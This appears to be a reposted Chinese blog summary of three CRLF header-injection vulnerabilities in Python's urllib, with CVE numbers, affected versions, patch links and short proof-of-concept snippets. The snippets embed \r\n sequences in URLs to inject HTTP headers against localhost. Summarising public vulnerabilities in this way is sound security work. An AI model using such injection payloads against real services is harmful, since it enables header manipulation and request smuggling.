Python urllib CRLF注入漏洞小结

news2025/1/11 6:56:05

Python urllib CRLF注入漏洞小结

CVE-2016-5699

https://www.suse.com/security/cve/CVE-2016-5699.html

  • before 2.7.10 and 3.x before 3.4.4
  • POC:
http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo
  • 漏洞&patch源码:https://bugs.python.org/file37264/disable_http_header_injection.patch

在这里插入图片描述
修复前通过\r\n进行拼接,而我们恶意代码通过host带入

CVE-2019-9740

https://nvd.nist.gov/vuln/detail/CVE-2019-9740
https://xz.aliyun.com/t/5123

  • urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3

  • poc

import sys
import urllib
import urllib.request
import urllib.error


host = "127.0.0.1:7777?a=1 HTTP/1.1\r\nCRLF-injection: test\r\nTEST: 123"
url = "http://"+ host + ":8080/test/?test=a"

try:
    info = urllib.request.urlopen(url).info()
    print(info)

except urllib.error.URLError as e:
    print(e)
  • 修复源码:https://github.com/python/cpython/pull/12755/commits/97bcc4bd5cf5c6dc1352d9b5e680db165c937fd1

CVE-2019-9947

https://bugs.python.org/issue35906

  • urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3
  • POC
import urllib.request

urllib.request.urlopen('http://127.0.0.1:1234/?q=HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n')
or 
urllib.request.urlopen('http://127.0.0.1:1234/HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n')

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/94869.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

音视频大合集最终篇;学废了

前言 加企鹅群:1079654574 解锁 《音视频八大板块资料》音视频大合集,从初中高到面试应有尽有;让学习更贴近未来实战。已形成PDF版 八个模块内容如下: 1.音视频基础2.FFmpeg实战3.流媒体客户端4.流媒体服务器5.WebRTC项目实战6.Android NDK开…

零时 || 警惕恶意聊天软件!聊天记录被劫持损失数千万资产追踪分析

事件背景 近期,零时科技安全团队收到大量用户因为同一个原因导致加密资产被盗的情况,经调查都是因为过程中使用了恶意Whatsapp的原因,通过与受害者沟通,了解到情况如下: 受害者在使用恶意Whatsapp进行沟通时&#xf…

173. 二叉搜索树迭代器

实现一个二叉搜索树迭代器类BSTIterator ,表示一个按中序遍历二叉搜索树(BST)的迭代器: BSTIterator(TreeNode root) 初始化 BSTIterator 类的一个对象。BST 的根节点 root 会作为构造函数的一部分给出。指针应初始化为一个不存在…

STM32F4 | PWM输出实验

文章目录一、PWM 简介二、硬件设计三、软件设计四、实验现象五、STM32CubeMX 配置定时器 PWM 输出功能上一章,我们介绍了 STM32F429 的通用定时器 TIM3,用该定时器的中断来控制 DS1 的闪烁,这一章,我们将向大家介绍如何使用 S…

CososCreator (Android)-AppLovin MAX 广告聚合平台接入+Firebase统计

CososCreator 2.2.4 Android Studio :4.2.1 接入SDK有:接max聚合及中介平台(Admob,FB, applovin,pangle,mintegral,vungle,unity),和Firebase 统计 1、构建Android工程 2、升级gr…

计算机SSM毕设推荐 40个高质量软件工程毕设项目分享【源码+论文】(一)

文章目录前言 题目1 : 基于SSM的毕业设计管理系统 <br /> 题目2 : 基于SSM的病人跟踪治疗信息管理系统 <br /> 题目3 : 基于SSM的大学生兼职跟踪系统 <br /> 题目4 : 基于SSM的大学生企业推荐系统 <br /> 题目5 : 基于SSM的电影院在线售票系统 <br …

电感和磁珠的区别

电感和磁珠在我们电路设计中经常会用到&#xff0c;他们都属于磁性元器件&#xff0c;今天就来分享下电感和磁珠的区别 1.从构成原理来看 电感其实就是导线这样一圈一圈绕在磁芯上&#xff0c;这样就构成了电感&#xff0c;而磁珠(插件)的话则是导线外围包裹着一层铁氧体磁性材…

Linux中磁盘存储相关命令

du 命令 Linux du命令也是查看使用空间的&#xff0c;但是与df命令不同的是Linux du命令是对文件和目录磁盘使用的空间的查看&#xff0c;还是和df命令有一些区别的. **1&#xff0e;**命令格式&#xff1a; du [选项][文件] **2&#xff0e;**命令功能&#xff1a; 显示每…

javaHelloWorld

java语言介绍 ​ 目前大系统开发中&#xff0c;很少使用单一语言进行开发&#xff0c;现有语言也十分发达&#xff0c;包含Java\C\C\PHP\Python等等。通常情况下&#xff0c;一个大系统底层驱动部分都是使用C语言开发&#xff0c;而在上层用户交互层使用java语言开发。因此&am…

新型材料厂电动葫芦PLC无线通讯应用方案详解

一&#xff0e;应用背景 电动葫芦是一种安装在天车、龙门吊之上的特种起重设备&#xff0c;具有体积小&#xff0c;自重轻&#xff0c;操作简单&#xff0c;使用方便等特点&#xff0c;是起升搬运物品&#xff0c;最理想的起重设备之一。目前电动葫芦的控制部分都是由PLC完成的…

【Spring Cloud】Ribbon负载均衡原理与实战(源码级讲解)

本期目录1. 负载均衡原理1.1 总体流程1.2 源码解析2. 负载均衡策略2.1 负载均衡策略继承关系2.2 负载均衡策略描述1&#xff09;ZoneAvoidanceRule2&#xff09;AvailabilityFilteringRule2.3 修改负载均衡策略方式1&#xff09;全局修改2&#xff09;局部修改3. 饥饿加载3.1 背…

使用VackBAS攻击模拟平台对抗勒索病毒

勒索病毒是一种恶意软件&#xff0c;它可以从一台主机直接感染到整个网络&#xff08;包括服务器&#xff09;并加密磁盘上的任何文件和文档&#xff0c;勒索软件会要求受害者缴纳赎金以取回对电脑的控制权&#xff0c;或取回受害者根本无从自行获取的密钥去解密文件。勒索病毒…

jsp+ssm计算机毕业设计宠物店管理系统【附源码】

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; JSPSSM mybatis Maven等等组成&#xff0c;B/S模式 Mave…

数论的一些小小的性质总结

gcd的一些套路&#xff1a; 1.设一些未知数&#xff0c;设gcd为k&#xff0c;换个角度去看问题&#xff0c;比如去枚举倍数 2.一堆数的gcd为1&#xff0c;等价于它们所有数的因子重合小于n&#xff1b;两个数的gcd1&#xff0c;它们的因子之间没有重合 3.相邻两数之间gcd1&a…

SpringMVC:SpringMVC请求映射路径(3)

SpringMvc请求路径1. 环境准备2. 问题提出3. 设置映射路径3.1 方法一&#xff1a;修改Controller3.2 方法二&#xff1a;优化路径配置1. 环境准备 项目结构 BookController类 public class BookController {RequestMapping("/save")ResponseBodypublic String save…

告别XML,Android新声明式UI框架《Jetpack Compose入门到精通》最全开发指南

什么是Jetpack Compose? Jetpack Compose是Android的新声明式UI框架。长期以来, Android 开发人员习惯于使用带有状态视图的xml编写UI,这些状态视图通过逐步浏览视图层次结构进行更新。使用Jetpack Compose, UI 是通过使用KotinQ 函数以无状态方式编写的。 可组合函数使用注…

大一学生HTML期末作业 【html体育排球5页面带注册】学生网页设计作业源码

&#x1f389;精彩专栏推荐 &#x1f4ad;文末获取联系 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 &#x1f482; 作者主页: 【主页——&#x1f680;获取更多优质源码】 &#x1f393; web前端期末大作业&#xff1a; 【&#x1f4da;毕设项目精品实战案例 (10…

RT-Thread Studio创建STM32WB55工程

STM32WB是ST推出的物联网标准无线连接SoC芯片&#xff0c;可支持BLE、ZigBee等标准协议&#xff0c;内置M4F和M0双内核&#xff0c;其中M0主要运行底层协议栈&#xff0c;而M4F则可以用于应用的开发。 RT-Thread是国内目前比较成熟、比较成熟的物联网操作系统了&#xff0c;有…

C++ Reference: Standard C++ Library reference: Containers: map: map: crend

C官网参考链接&#xff1a;https://cplusplus.com/reference/map/map/crend/ 公有成员函数 <map> std::map::crend const_reverse_iterator crend() const noexcept;返回指向反向结束的const_reverse_iterator 返回一个const_reverse_iterator&#xff0c;指向容器中第…

CentOS 8 桌面版右上角网络图标消失的解决办法

我们在手动修改网络连接的配置文件后&#xff0c;桌面右上角的网络连接图标可能会消失。 正常显示的网络图标&#xff1a; 网络图标消失后的样子&#xff1a; CentOS 的网络连接由网络管理工具 NetworkManager 负责&#xff0c; 这个问题多半与其有关。 可能的原因 1&#xf…